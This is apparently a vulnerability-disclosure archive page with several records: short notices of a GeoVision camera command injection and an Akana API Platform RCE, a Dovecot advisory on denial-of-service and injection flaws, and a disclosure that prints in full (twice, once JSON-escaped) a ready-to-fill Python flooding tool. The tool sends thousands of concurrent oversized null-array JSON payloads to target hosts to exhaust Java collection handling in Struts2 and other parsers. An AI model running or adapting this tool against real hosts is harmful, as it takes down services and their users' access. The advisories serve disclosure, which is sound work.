Organization

Vulnerability Disclosure Archive

GNA-1988

GNA identifier
GNA-1988 GCVE registry Recent publications

Recent vulnerabilities

581 GCVE records assigned by this organization as GNA-1988

GCVE-1988-2026-0164

Vulnerability from gna-1988 – Published: 2026-09-07 13:35 – Updated: 2026-09-11 11:56
VLAI
Title
[0day-rubbish] GeoVision GV-TBL4700 V1.06 Authenticated command injection to root RCE via SNMPv3 user configuration (8.8)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in GeoVision GV-TBL4700 V1.06. Type: Authenticated command injection to root RCE via SNMPv3 user configuration (CWE-78) CVSS: 8.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) Impact: Root command execution on the IP camera / access-control device: video, credentials, configuration, and device state under attacker control; a foothold inside the surveillance network. Authentication: authenticated (requires valid session) Full technical analysis and a reproducible proof-of-concept: https://0day-rubbish.com/blog/geovision-gv-tbl4700-snmpv3-command-injection Project archive (ongoing disclosure series): https://github.com/Exploit-Garbage/0day-Rubbish Vendor has been notified. CVE ID is pending. -- 0day Rubbish Research Team disclosure () 0day-rubbish com https://0day-rubbish.com _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Geovision GV-TBL4700 Affected: unknown
Create a notification for this product.

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GCVE-1988-2026-0161

Vulnerability from gna-1988 – Published: 2026-09-07 13:35 – Updated: 2026-09-11 11:56
VLAI
Title
[0day-rubbish] Akana API Platform 8.4.29 Unauthenticated RCE via path-normalization filter/dispatcher discrepancy (9.8)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in Akana API Platform 8.4.29. Type: Unauthenticated RCE via path-normalization filter/dispatcher discrepancy (CWE-863) CVSS: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) Impact: Unauthenticated code execution inside the API platform container: gateway policies, credentials, proxied traffic, and the management plane become accessible. Authentication: unauthenticated / pre-auth Full technical analysis and a reproducible proof-of-concept: https://0day-rubbish.com/blog/akana-api-platform-path-normalization-unauth-rce Project archive (ongoing disclosure series): https://github.com/Exploit-Garbage/0day-Rubbish Vendor has been notified. CVE ID is pending. -- 0day Rubbish Research Team disclosure () 0day-rubbish com https://0day-rubbish.com _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Akana Akana Api Platform Affected: unknown
Create a notification for this product.

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GCVE-1988-2026-0096

Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 11:55
VLAI
Title
JSON Deserialiser Unconstrained Resource Consumption Proof of Concept
Summary
On 26 October 2025 we published "Struts2 and Related Framework Array/Collection DoS", which was followed up on 07 March 2026 by "JSON Deserialiser Unconstrained Resource Consumption Quick Overview". Today we are publishing a proof of concept that we have been using for more than 15 years against Struts2, Newtonsoft JSON, JSON.org, and various other JSON parsers. We are publishing, in part, because of the theft of our published materials by whitehats, the denial by Apache, and because we want the community to see what insecure deserialisation really is, rather than the confused ysoserial that targets insecure reflection (we previously published a write-up discussing insecure reflection and using Inedo ProGet to demonstrate it - see our write-up on 26 April 2025 titled "Inedo ProGet Insecure Reflection and CSRF Vulnerabilities"). We lovingly call this POC, "Commas of D00m". Use find/replace on the tokens. Enjoy ```python #!/usr/bin/python3 # --- # name: Collection-size overflow tester # category: Testing and scanning # tags: dos, payload, collection-size, json, flood, load, http # description: Floods a host with concurrent oversized JSON payloads (a huge null array) to probe Java collection-size limits. # placeholders: # - token: "@@HOSTS@@" # field: hosts # kind: list # format: python # label: Hosts # - token: "@@CONTENT_TYPE@@" # field: content_type # kind: text # label: Content-Type # default: application/json # - token: "@@PATH@@" # field: path # kind: text # label: Request path # optional: true # default: / # - token: "@@HEADERS@@" # field: headers # kind: map # format: python # label: Extra headers, like the cookie and authorisation headers # optional: true # - token: "@@PARALLEL_COUNT@@" # field: parallel_count # kind: text # label: Parallel count (concurrent threads) # optional: true # default: 40 # - token: "@@TOTAL_CONNECTIONS@@" # field: total_number_of_connections # kind: text # label: Total connections # optional: true # default: 1000 # - token: "@@RECREATE_PAYLOAD@@" # field: recreate_payload # kind: text # label: Recreate payload file (true/false) # optional: true # default: true # - token: "@@PAYLOAD_FILE@@" # field: payload_file # kind: text # label: Payload file # optional: true # default: prebuilt_payload_tmp # - token: "@@PAYLOAD_LEFT@@" # field: payload_left # kind: text # label: Payload left (before the null array) # optional: true # default: {"serviceTypes": [ # - token: "@@PAYLOAD_RIGHT@@" # field: payload_right # kind: text # label: Payload right (after the null array; blank uses the default) # optional: true # - token: "@@STEP@@" # field: step # kind: text # label: Step # optional: true # default: 1 # - token: "@@MAX_COLLECTION_SIZE@@" # field: max_collection_size # kind: text # label: Max collection size # optional: true # default: 1048500 # --- """Flood a host with oversized JSON payloads to probe collection-size limits. Builds a payload whose array holds a very large number of ``null`` entries -- enough to strain a server-side (Java) collection -- and fires it at each host with a configurable amount of concurrency, tallying the status codes seen (413s and 5xx especially) and logging any 5xx bodies to ``request-responses.txt``. A Content-Type and at least one host are required. Usage: python collection_size_overflow.py """ import concurrent.futures import os import random import string import time from datetime import datetime, timezone import requests # REPLACE/ADJUST THESE config = { 'hosts': @@HOSTS@@, 'paths': ['@@PATH@@' or '/'], 'content_type': '@@CONTENT_TYPE@@', 'extra_headers': @@HEADERS@@, 'parallel_count': int('@@PARALLEL_COUNT@@' or 40), 'total_number_of_connections': int('@@TOTAL_CONNECTIONS@@' or 1000), # Data for the payload generation 'recreate_payload': ('@@RECREATE_PAYLOAD@@' or 'true').strip().lower() in ('1', 'true', 'yes'), 'payload_file': '@@PAYLOAD_FILE@@' or 'prebuilt_payload_tmp', 'payload_left': r"""@@PAYLOAD_LEFT@@""" or '{"serviceTypes": [', 'payload_right': r"""@@PAYLOAD_RIGHT@@""" or '"IP_TUNNEL"]}', 'step': int('@@STEP@@' or 1), 'max_collection_size': int('@@MAX_COLLECTION_SIZE@@' or 1048500), # The maximum Java collection size is 2147483647; other sizes worth trying: # 0, 1, 1050000, 1350000, 2097000, 2097023, 2097102, 4500747, 14500747, # 67105747, 114500747 } def count_status_codes(responses): """ Walks through the responses and counts the status codes Args: responses (list[Response]): List of response objects Returns: dict: A dictionary with counts for each of the status codes that we monitor """ try: with open('request-responses.txt', 'a') as f: for response in [r for r in responses if r is not None and 500 <= r.status_code < 600]: # Write response f.write("Response:\n") for header, value in response.headers.items(): f.write(f"{header}: {value}\n") f.write(f"{response.text}\n") # Add separator between entries f.write("-" * 50 + "\n") print(f"Successfully wrote responses to request-responses.txt") except Exception as e: print(f"Error writing to file: {str(e)}") counts = { '2xx': len([r for r in responses if r is not None and 200 <= r.status_code < 300]), '4xx': len([r for r in responses if r is not None and 400 <= r.status_code < 500]), '400': len([r for r in responses if r is not None and r.status_code == 400]), '402': len([r for r in responses if r is not None and r.status_code == 402]), '403': len([r for r in responses if r is not None and r.status_code == 403]), '404': len([r for r in responses if r is not None and r.status_code == 404]), '413': len([r for r in responses if r is not None and r.status_code == 413]), '429': len([r for r in responses if r is not None and r.status_code == 429]), '5xx': len([r for r in responses if r is not None and 500 <= r.status_code < 600]), '500': len([r for r in responses if r is not None and r.status_code == 500]), '502': len([r for r in responses if r is not None and r.status_code == 502]), '503': len([r for r in responses if r is not None and r.status_code == 503]), '504': len([r for r in responses if r is not None and r.status_code == 504]) } for resp in responses: if resp is not None: if 500 <= resp.status_code < 600: print(f'{response.headers}') print(f'{resp.text}') else: print(f'We have a response of {resp}') return counts def get_payload(recreate_payload=False): """ Grabs the payload that we are going to send Args: recreate_payload (bool): Whether we should stomp over the payload file if it exists Returns: str: The payload to be sent """ sequential = config['max_collection_size'] * 95 // 100 if recreate_payload or os.path.exists(config['payload_file']) == False: with open(config['payload_file'], 'w', encoding='utf-8') as file: file.write(config['payload_left']) for i in range(1, sequential, 1): file.write(f'null,') for i in range(sequential + 1, config['max_collection_size'] + 1, config['step']): file.write('null,') file.write(config['payload_right']) with open(config['payload_file'], 'r', encoding='utf-8') as file: return file.read() def make_request(url, data=None, cookie_string=None): headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36', 'Accept': 'application/json, text/javascript, */*; q=0.01', } # Caller-supplied headers first, then the required Content-Type so it wins. headers.update(config['extra_headers']) if config['content_type']: headers['Content-Type'] = config['content_type'] if cookie_string: headers['Cookie'] = cookie_string try: session = requests.Session() req = requests.Request( 'POST', url, data=data if data else None, headers=headers, ) prepared = session.prepare_request(req) # --- Print the exact request --- # print(f"{prepared.method} {prepared.path_url} HTTP/1.1") # for header, value in prepared.headers.items(): # print(f"{header}: {value}") # print() # blank line separating headers from body # if prepared.body: # # Print first 500 chars of body to avoid flooding the terminal # print(f"[Body ({len(prepared.body)} bytes)]: {str(prepared.body)[:500]}") # print("=" * 50) # -------------------------------- response = session.send(prepared) #print(f'RRR: {response.status_code}') #print(f'FFF: {response.headers}') #print(f'DDD: {response.text}') return response except Exception as e: print(f'Error (at {datetime.now(timezone.utc).strftime("%Y%m%dT%H%M%SZ")}): {e}') return None def run_concurrent_requests(url, data, num_threads, num_runs, cookie_string=None): """ Kicks off requests to run each query and then waits for the responses collecting them into a list Args: url (str): URL to make requests to data (str): The data to pass to the request num_threads (int): Number of threads to use num_runs (int): Number of requests to to make (in total) cookie_string (str): Any cookies to include Returns: list[Response]: A list of responses """ with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor: futures = [executor.submit(make_request, url, data, cookie_string) for _ in range(num_runs)] responses = [f.result() for f in concurrent.futures.as_completed(futures)] return responses def main(): # Clear our request/responses file with open('request-responses.txt', 'w') as file: pass # Create a random value and set it across the requests random_value = ''.join(random.choices(string.ascii_letters + string.digits, k=16)) # Running the attack print('Running the attack...') ## Exceed the maximum count for items in a Java collection payload = get_payload(recreate_payload=config['recreate_payload']) for host in config['hosts']: path = config['paths'][0] url = f"https://{host}{path}"; print( f"Attacking {url} with a payload of size {len(payload)} (using {payload.count('null,')} non-null entries)...") start_time = time.time() responses = run_concurrent_requests(url, data=payload, num_threads=config['parallel_count'], num_runs=config['total_number_of_connections']) end_time = time.time() counts = count_status_codes(responses) # Print results if counts['4xx'] > 0: print(f" {counts['4xx']} 4xxs observed") for status in ['400', '402', '403', '404']: if counts[status] > 0: print(f" {counts[status]} {status}s observed") for status in ['413']: if counts[status] > 0: print(f" {counts[status]} {status}s observed (reduce payload size)") print( f" {counts['429']} 429s observed (out of {config['total_number_of_connections']} runs at a rate of {config['parallel_count']} concurrent threads)") if co
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products

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          "value": "On 26 October 2025 we published \"Struts2 and Related Framework Array/Collection DoS\", which was followed up on 07 March \n2026 by \"JSON Deserialiser Unconstrained Resource Consumption Quick Overview\".  Today we are publishing a proof of \nconcept that we have been using for more than 15 years against Struts2, Newtonsoft JSON, JSON.org, and various other \nJSON parsers.  We are publishing, in part, because of the theft of our published materials by whitehats, the denial by \nApache, and because we want the community to see what insecure deserialisation really is, rather than the confused \nysoserial that targets insecure reflection (we previously published a write-up discussing insecure reflection and using \nInedo ProGet to demonstrate it - see our write-up on 26 April 2025 titled \"Inedo ProGet Insecure Reflection and CSRF \nVulnerabilities\").  We lovingly call this POC, \"Commas of D00m\".  Use find/replace on the tokens.  Enjoy\n\n```python\n#!/usr/bin/python3\n# ---\n# name: Collection-size overflow tester\n# category: Testing and scanning\n# tags: dos, payload, collection-size, json, flood, load, http\n# description: Floods a host with concurrent oversized JSON payloads (a huge null array) to probe Java collection-size \nlimits.\n# placeholders:\n#   - token: \"@@HOSTS@@\"\n#     field: hosts\n#     kind: list\n#     format: python\n#     label: Hosts\n#   - token: \"@@CONTENT_TYPE@@\"\n#     field: content_type\n#     kind: text\n#     label: Content-Type\n#     default: application/json\n#   - token: \"@@PATH@@\"\n#     field: path\n#     kind: text\n#     label: Request path\n#     optional: true\n#     default: /\n#   - token: \"@@HEADERS@@\"\n#     field: headers\n#     kind: map\n#     format: python\n#     label: Extra headers, like the cookie and authorisation headers\n#     optional: true\n#   - token: \"@@PARALLEL_COUNT@@\"\n#     field: parallel_count\n#     kind: text\n#     label: Parallel count (concurrent threads)\n#     optional: true\n#     default: 40\n#   - token: \"@@TOTAL_CONNECTIONS@@\"\n#     field: total_number_of_connections\n#     kind: text\n#     label: Total connections\n#     optional: true\n#     default: 1000\n#   - token: \"@@RECREATE_PAYLOAD@@\"\n#     field: recreate_payload\n#     kind: text\n#     label: Recreate payload file (true/false)\n#     optional: true\n#     default: true\n#   - token: \"@@PAYLOAD_FILE@@\"\n#     field: payload_file\n#     kind: text\n#     label: Payload file\n#     optional: true\n#     default: prebuilt_payload_tmp\n#   - token: \"@@PAYLOAD_LEFT@@\"\n#     field: payload_left\n#     kind: text\n#     label: Payload left (before the null array)\n#     optional: true\n#     default: {\"serviceTypes\": [\n#   - token: \"@@PAYLOAD_RIGHT@@\"\n#     field: payload_right\n#     kind: text\n#     label: Payload right (after the null array; blank uses the default)\n#     optional: true\n#   - token: \"@@STEP@@\"\n#     field: step\n#     kind: text\n#     label: Step\n#     optional: true\n#     default: 1\n#   - token: \"@@MAX_COLLECTION_SIZE@@\"\n#     field: max_collection_size\n#     kind: text\n#     label: Max collection size\n#     optional: true\n#     default: 1048500\n# ---\n\"\"\"Flood a host with oversized JSON payloads to probe collection-size limits.\n\nBuilds a payload whose array holds a very large number of ``null`` entries --\nenough to strain a server-side (Java) collection -- and fires it at each host\nwith a configurable amount of concurrency, tallying the status codes seen\n(413s and 5xx especially) and logging any 5xx bodies to\n``request-responses.txt``.  A Content-Type and at least one host are required.\nUsage:\n    python collection_size_overflow.py\n\"\"\"\n\nimport concurrent.futures\nimport os\nimport random\nimport string\nimport time\nfrom datetime import datetime, timezone\n\nimport requests\n\n# REPLACE/ADJUST THESE\nconfig = {\n    \u0027hosts\u0027: @@HOSTS@@,\n    \u0027paths\u0027: [\u0027@@PATH@@\u0027 or \u0027/\u0027],\n    \u0027content_type\u0027: \u0027@@CONTENT_TYPE@@\u0027,\n    \u0027extra_headers\u0027: @@HEADERS@@,\n    \u0027parallel_count\u0027: int(\u0027@@PARALLEL_COUNT@@\u0027 or 40),\n    \u0027total_number_of_connections\u0027: int(\u0027@@TOTAL_CONNECTIONS@@\u0027 or 1000),\n    # Data for the payload generation\n    \u0027recreate_payload\u0027: (\u0027@@RECREATE_PAYLOAD@@\u0027 or \u0027true\u0027).strip().lower() in (\u00271\u0027, \u0027true\u0027, \u0027yes\u0027),\n    \u0027payload_file\u0027: \u0027@@PAYLOAD_FILE@@\u0027 or \u0027prebuilt_payload_tmp\u0027,\n    \u0027payload_left\u0027: r\"\"\"@@PAYLOAD_LEFT@@\"\"\" or \u0027{\"serviceTypes\": [\u0027,\n    \u0027payload_right\u0027: r\"\"\"@@PAYLOAD_RIGHT@@\"\"\" or \u0027\"IP_TUNNEL\"]}\u0027,\n    \u0027step\u0027: int(\u0027@@STEP@@\u0027 or 1),\n    \u0027max_collection_size\u0027: int(\u0027@@MAX_COLLECTION_SIZE@@\u0027 or 1048500),\n    # The maximum Java collection size is 2147483647; other sizes worth trying:\n    # 0, 1, 1050000, 1350000, 2097000, 2097023, 2097102, 4500747, 14500747,\n    # 67105747, 114500747\n}\n\n\ndef count_status_codes(responses):\n    \"\"\"\n    Walks through the responses and counts the status codes\n\n    Args:\n        responses (list[Response]): List of response objects\n\n    Returns:\n        dict: A dictionary with counts for each of the status codes that we monitor\n    \"\"\"\n    try:\n        with open(\u0027request-responses.txt\u0027, \u0027a\u0027) as f:\n            for response in [r for r in responses if r is not None and 500 \u003c= r.status_code \u003c 600]:\n                # Write response\n                f.write(\"Response:\\n\")\n                for header, value in response.headers.items():\n                    f.write(f\"{header}: {value}\\n\")\n                f.write(f\"{response.text}\\n\")\n\n                # Add separator between entries\n                f.write(\"-\" * 50 + \"\\n\")\n\n        print(f\"Successfully wrote responses to request-responses.txt\")\n\n    except Exception as e:\n        print(f\"Error writing to file: {str(e)}\")\n\n    counts = {\n        \u00272xx\u0027: len([r for r in responses if r is not None and 200 \u003c= r.status_code \u003c 300]),\n        \u00274xx\u0027: len([r for r in responses if r is not None and 400 \u003c= r.status_code \u003c 500]),\n        \u0027400\u0027: len([r for r in responses if r is not None and r.status_code == 400]),\n        \u0027402\u0027: len([r for r in responses if r is not None and r.status_code == 402]),\n        \u0027403\u0027: len([r for r in responses if r is not None and r.status_code == 403]),\n        \u0027404\u0027: len([r for r in responses if r is not None and r.status_code == 404]),\n        \u0027413\u0027: len([r for r in responses if r is not None and r.status_code == 413]),\n        \u0027429\u0027: len([r for r in responses if r is not None and r.status_code == 429]),\n        \u00275xx\u0027: len([r for r in responses if r is not None and 500 \u003c= r.status_code \u003c 600]),\n        \u0027500\u0027: len([r for r in responses if r is not None and r.status_code == 500]),\n        \u0027502\u0027: len([r for r in responses if r is not None and r.status_code == 502]),\n        \u0027503\u0027: len([r for r in responses if r is not None and r.status_code == 503]),\n        \u0027504\u0027: len([r for r in responses if r is not None and r.status_code == 504])\n    }\n    for resp in responses:\n        if resp is not None:\n            if 500 \u003c= resp.status_code \u003c 600:\n                print(f\u0027{response.headers}\u0027)\n            print(f\u0027{resp.text}\u0027)\n        else:\n            print(f\u0027We have a response of {resp}\u0027)\n    return counts\n\n\n\ndef get_payload(recreate_payload=False):\n    \"\"\"\n    Grabs the payload that we are going to send\n\n    Args:\n        recreate_payload (bool): Whether we should stomp over the payload file if it exists\n\n    Returns:\n        str: The payload to be sent\n    \"\"\"\n    sequential = config[\u0027max_collection_size\u0027] * 95 // 100\n    if recreate_payload or os.path.exists(config[\u0027payload_file\u0027]) == False:\n        with open(config[\u0027payload_file\u0027], \u0027w\u0027, encoding=\u0027utf-8\u0027) as file:\n            file.write(config[\u0027payload_left\u0027])\n            for i in range(1, sequential, 1):\n                file.write(f\u0027null,\u0027)\n            for i in range(sequential + 1, config[\u0027max_collection_size\u0027] + 1, config[\u0027step\u0027]):\n                file.write(\u0027null,\u0027)\n            file.write(config[\u0027payload_right\u0027])\n    with open(config[\u0027payload_file\u0027], \u0027r\u0027, encoding=\u0027utf-8\u0027) as file:\n        return file.read()\n\n\ndef make_request(url, data=None, cookie_string=None):\n    headers = {\n        \u0027User-Agent\u0027: \u0027Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \nChrome/137.0.0.0 Safari/537.36\u0027,\n        \u0027Accept\u0027: \u0027application/json, text/javascript, */*; q=0.01\u0027,\n    }\n    # Caller-supplied headers first, then the required Content-Type so it wins.\n    headers.update(config[\u0027extra_headers\u0027])\n    if config[\u0027content_type\u0027]:\n        headers[\u0027Content-Type\u0027] = config[\u0027content_type\u0027]\n    if cookie_string:\n        headers[\u0027Cookie\u0027] = cookie_string\n\n    try:\n        session = requests.Session()\n        req = requests.Request(\n            \u0027POST\u0027,\n            url,\n            data=data if data else None,\n            headers=headers,\n        )\n        prepared = session.prepare_request(req)\n\n        # --- Print the exact request ---\n        # print(f\"{prepared.method} {prepared.path_url} HTTP/1.1\")\n        # for header, value in prepared.headers.items():\n        #     print(f\"{header}: {value}\")\n        # print()  # blank line separating headers from body\n        # if prepared.body:\n        #     # Print first 500 chars of body to avoid flooding the terminal\n        #     print(f\"[Body ({len(prepared.body)} bytes)]: {str(prepared.body)[:500]}\")\n        # print(\"=\" * 50)\n        # --------------------------------\n\n        response = session.send(prepared)\n        #print(f\u0027RRR: {response.status_code}\u0027)\n        #print(f\u0027FFF: {response.headers}\u0027)\n        #print(f\u0027DDD: {response.text}\u0027)\n        return response\n    except Exception as e:\n        print(f\u0027Error (at {datetime.now(timezone.utc).strftime(\"%Y%m%dT%H%M%SZ\")}): {e}\u0027)\n        return None\n\n\ndef run_concurrent_requests(url, data, num_threads, num_runs, cookie_string=None):\n    \"\"\"\n    Kicks off requests to run each query and then waits for the responses\n    collecting them into a list\n\n    Args:\n        url (str): URL to make requests to\n        data (str): The data to pass to the request\n        num_threads (int): Number of threads to use\n        num_runs (int): Number of requests to to make (in total)\n        cookie_string (str): Any cookies to include\n\n    Returns:\n        list[Response]: A list of responses\n    \"\"\"\n    with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:\n        futures = [executor.submit(make_request, url, data, cookie_string) for _ in range(num_runs)]\n        responses = [f.result() for f in concurrent.futures.as_completed(futures)]\n    return responses\n\n\ndef main():\n    # Clear our request/responses file\n    with open(\u0027request-responses.txt\u0027, \u0027w\u0027) as file:\n        pass\n\n    # Create a random value and set it across the requests\n    random_value = \u0027\u0027.join(random.choices(string.ascii_letters + string.digits, k=16))\n\n    # Running the attack\n    print(\u0027Running the attack...\u0027)\n    ## Exceed the maximum count for items in a Java collection\n    payload = get_payload(recreate_payload=config[\u0027recreate_payload\u0027])\n    for host in config[\u0027hosts\u0027]:\n        path = config[\u0027paths\u0027][0]\n        url = f\"https://{host}{path}\";\n        print(\n            f\"Attacking {url} with a payload of size {len(payload)} (using {payload.count(\u0027null,\u0027)} non-null \nentries)...\")\n\n        start_time = time.time()\n        responses = run_concurrent_requests(url, data=payload, num_threads=config[\u0027parallel_count\u0027],\n                                            num_runs=config[\u0027total_number_of_connections\u0027])\n        end_time = time.time()\n\n        counts = count_status_codes(responses)\n\n        # Print results\n        if counts[\u00274xx\u0027] \u003e 0:\n            print(f\"  {counts[\u00274xx\u0027]} 4xxs observed\")\n            for status in [\u0027400\u0027, \u0027402\u0027, \u0027403\u0027, \u0027404\u0027]:\n                if counts[status] \u003e 0:\n                    print(f\"    {counts[status]} {status}s observed\")\n            for status in [\u0027413\u0027]:\n                if counts[status] \u003e 0:\n                    print(f\"    {counts[status]} {status}s observed (reduce payload size)\")\n\n        print(\n            f\"    {counts[\u0027429\u0027]} 429s observed (out of {config[\u0027total_number_of_connections\u0027]} runs at a rate of \n{config[\u0027parallel_count\u0027]} concurrent threads)\")\n\n        if co"
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    "dateUpdated": "2026-09-11T11:55:55Z",
    "state": "PUBLISHED",
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GCVE-1988-2026-0382

Vulnerability from gna-1988 – Published: 2026-09-11 11:55 – Updated: 2026-09-11 11:55
VLAI
Title
Dovecot Security Advisory 3/2026
Summary
Hi! We're sharing our latest advisory with you and like to thank everyone who contributed in finding and solving those vulnerabilities. This advisory will also be published at https://documentation.open-xchange.com/dovecot/security/advisories/html/2026/oxdc-adv-2026-0003.html --- Classification: TLP:GREEN Internal reference: DOV-8476 Type: CWE-403 (Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Affected versions: OX Dovecot Pro core >=2.3.0 <2.3.22.2, OX Dovecot Pro core >=3.0.0 <3.0.7, OX Dovecot Pro core =3.1.0 <3.1.6, OX Dovecot CE core >=2.3.0 <2.4.5 First fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE core 2.4.5 Discovery date: 2025-11-25 Solution date: 2026-08-26 Disclosure date: 2026-08-26 CVE: CVE-2026-33263 CVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L) Details: submission-login: Panic when mail_max_userip_connections is reached: Panic: epoll_ctl(del, 8) failed: Bad file descriptor. When mail_max_userip_connections is set (defaul t 10) and reached, submission-login can crash with epoll() panic caused by file descriptor handling issues. Risk: If running in high-security mode (default for community releases), only the new submission connection gets terminated. If running in high-performance mode (default for Pr o releases), all connections handled by the submission-login process will be terminated. The crashes can cause failure for user to send a message, or it can cause duplica te messages to be sent. If TLS is not used (in the backend server processing the submission), duplicate deliveries cannot happen, because the crash can only happen at AUT H stage. No publicly available exploits are known. Solution: Limit the number of connections handled by single submission-login process. This has a performance impact though. Update to non-vulnerable version. --- Internal reference: DOV-8874 Type: CWE-400 (Uncontrolled Resource Consumption) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Affected versions: OX Dovecot Pro core >=2.3.0 <3.0.7, OX Dovecot Pro core >=3.1.0 <3.1.6, OX Dovecot CE core >=2.3.0 <2.4.5 First fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 3.1.6, OX Dovecot CE core 2.4.5 Discovery date: 2026-03-11 Solution date: 2026-08-26 Disclosure date: 2026-08-26 Researcher credits: ylwango613@yeswehack CVE: CVE-2026-33607 CVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L) Details: Dovecot IMAP LIST match_sub() Exponential Backtracking — CPU Denial of Service. An attacker that has valid credentials can use IMAP LIST command to consume CPU. Risk: This can cause degradation or denial of service for IMAP. No publicly available exploits are known. Solution: Monitor system for abnormal CPU usage and kill the offending process and lock account. Alternatively install fixed version. --- Internal reference: DOV-8884 Type: CWE-400 (Uncontrolled Resource Consumption) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Affected versions: OX Dovecot Pro core >=2.3.0 <2.3.22.2, OX Dovecot Pro core >=3.0.0 <3.0.7, OX Dovecot Pro core =3.1.0 <3.1.6, OX Dovecot CE core >=2.3.0 <2.4.5 First fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE core 2.4.5 Discovery date: 2026-03-13 Solution date: 2026-08-26 Disclosure date: 2026-08-26 CVE: CVE-2026-27852 CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) Details: DoS by sending mail with bad header. An attacker that can send mail to a user can craft a message whose headers contain a very large number of email addresses or MIME par ameters, which causes excessive memory usage when the message is later parsed. Risk: The message is still delivered, but reading it over IMAP can exhaust the memory limit of the process and terminate it, causing denial of service for the affected user. No publicly available exploits are known. Solution: Update to non-vulnerable version. --- Internal reference: DOV-8941 Type: CWE-93 (Improper Neutralization of CRLF Sequences ('CRLF Injection')) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Affected versions: OX Dovecot Pro core >=2.3.0 <2.3.22.2, OX Dovecot Pro core >=3.0.0 <3.0.7, OX Dovecot Pro core =3.1.0 <3.1.6, OX Dovecot CE core >=2.3.0 <2.4.5 First fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE core 2.4.5 Discovery date: 2026-03-24 Solution date: 2026-08-26 Disclosure date: 2026-08-26 Researcher credits: thanos_haruki@yeswehack CVE: CVE-2026-33606 CVSS: 4.8 (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N) Details: dsync: Mail content can cause dsync protocol injection. Mail content stored by a user can be crafted so that it is interpreted as dsync protocol commands when an administ rator later runs dsync with the stream protocol, for example during a migration. Risk: Injected commands can modify mailbox state on the destination during migration or replication, including internal mailbox attributes that a user should not be able to set directly. It can also cause dsync errors. No publicly available exploits are known. Solution: Avoid running dsync with the stream protocol on mailboxes with untrusted content. Update to non-vulnerable version. --- Internal reference: DOV-8947 Type: CWE-655 (Insufficient Psychological Acceptability) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Affected versions: OX Dovecot Pro core >=2.3.0 <2.3.22.2, OX Dovecot Pro core >=3.0.0 <3.0.7, OX Dovecot Pro core =3.1.0 <3.1.6, OX Dovecot CE core >=2.3.0 <2.4.5 First fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE core 2.4.5 Discovery date: 2026-03-24 Solution date: 2026-08-26 Disclosure date: 2026-08-26 Researcher credits: heckintosh@yeswehack CVE: CVE-2026-33604 CVSS: 5.9 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N) Details: SMTP Smuggling via Missing Dot-Stuffing After Bare Carriage Return. An attacker that can get Dovecot to relay a message, for example through Sieve redirect or submission relay, can use a crafted line ending in the message body to bypass the outbound protection that prevents message content from being interpreted as SMTP commands. Risk: A downstream mail server that hasn't yet fixed the SMTP smuggling vulnerability can be tricked into treating part of the message body as new SMTP commands, allowing injec tion of spoofed email. This is the same vulnerability class as CVE-2023-51764 and CVE-2023-51766. No publicly available exploits are known. Solution: Where you control the receiving mail servers, ensure they reject bare carriage returns in message data. Update to non-vulnerable version. --- Internal reference: DOV-8949 Type: CWE-400 (Uncontrolled Resource Consumption) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Affected versions: OX Dovecot Pro core >=2.3.0 <2.3.22.2, OX Dovecot Pro core >=3.0.0 <3.0.7, OX Dovecot Pro core =3.1.0 <3.1.6, OX Dovecot CE core >=2.3.0 <2.4.5 First fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE core 2.4.5 Discovery date: 2026-03-24 Solution date: 2026-08-26 Disclosure date: 2026-08-26 Researcher credits: djvirus@yeswehack CVE: CVE-2026-40014 CVSS: 6.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) Details: IMAP THREAD REFERENCES O(N²) CPU DoS via Crafted References Header (index-thread-links.c). An 